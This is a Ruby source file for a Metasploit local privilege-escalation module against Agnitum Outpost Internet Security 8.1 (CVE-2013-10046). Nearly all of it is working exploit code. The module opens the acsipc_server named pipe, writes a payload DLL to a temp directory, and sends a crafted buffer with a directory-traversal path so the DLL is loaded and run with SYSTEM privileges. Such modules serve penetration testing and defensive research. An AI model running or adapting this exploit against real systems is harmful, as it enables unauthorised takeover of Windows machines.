Path: blob/master/modules/exploits/windows/local/agnitum_outpost_acs.rb
24946 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Post::Windows::Priv11include Msf::Post::Windows::Process12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',20'Description' => %q{21This module exploits a directory traversal vulnerability on Agnitum Outpost Internet22Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load23arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary24code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with25Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).26},27'License' => MSF_LICENSE,28'Author' => [29'Ahmad Moghimi', # Vulnerability discovery30'juan vazquez' # MSF module31],32'Arch' => [ARCH_X86, ARCH_X64],33'Platform' => 'win',34'SessionTypes' => [ 'meterpreter' ],35'Privileged' => true,36'Targets' => [37[ 'Agnitum Outpost Internet Security 8.1', {} ],38],39'Payload' => {40'Space' => 2048,41'DisableNops' => true42},43'References' => [44[ 'CVE', '2013-10046' ],45[ 'OSVDB', '96208' ],46[ 'EDB', '27282' ]47],48'DisclosureDate' => '2013-08-02',49'DefaultTarget' => 0,50'Compat' => {51'Meterpreter' => {52'Commands' => %w[53stdapi_railgun_api54stdapi_sys_config_getenv55]56}57},58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63}64)65)6667register_options([68# It is OptPath becuase it's a *remote* path69OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),70# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\71OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])72])73end7475def junk76return rand_text_alpha(4).unpack("V").first77end7879def open_named_pipe(pipe)80invalid_handle_value = 0xFFFFFFFF8182r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)8384handle = r['return']8586if handle == invalid_handle_value87return nil88end8990return handle91end9293def write_named_pipe(handle, dll_path, dll_name)94traversal_path = "..\\" * datastore["DEPTH"]95traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")96traversal_path << "\\#{dll_name}"9798path = Rex::Text.to_unicode(traversal_path)99100data = "\x00" * 0x11101data << path102data << "\x00\x00"103data << "\x00\x00\x00"104105buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler106buf << [0x17].pack("V") # command107buf << [junk].pack("V")108buf << [data.length].pack("V")109buf << [0, 0, 0].pack("V*")110buf << data111112w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)113114if w['return'] == false115print_error("The was an error writing to disk, check permissions")116return nil117end118119return w['lpNumberOfBytesWritten']120end121122def check123handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")124if handle.nil?125return Exploit::CheckCode::Safe126end127128session.railgun.kernel32.CloseHandle(handle)129return Exploit::CheckCode::Detected130end131132def exploit133temp_dir = ""134135print_status("Opening named pipe...")136handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")137if handle.nil?138fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")139else140print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")141end142143if datastore["WritableDir"] and not datastore["WritableDir"].empty?144temp_dir = datastore["WritableDir"]145else146temp_dir = client.sys.config.getenv('TEMP')147end148149print_status("Using #{temp_dir} to drop malicious DLL...")150begin151cd(temp_dir)152rescue Rex::Post::Meterpreter::RequestError153session.railgun.kernel32.CloseHandle(handle)154fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")155end156157print_status("Writing malicious DLL to remote filesystem")158write_path = pwd159dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"160begin161# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem162write_file(dll_name, generate_payload_dll)163register_file_for_cleanup("#{write_path}\\#{dll_name}")164rescue Rex::Post::Meterpreter::RequestError165session.railgun.kernel32.CloseHandle(handle)166fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")167end168169print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")170bytes = write_named_pipe(handle, write_path, dll_name)171session.railgun.kernel32.CloseHandle(handle)172173if bytes.nil?174fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")175end176end177end178179180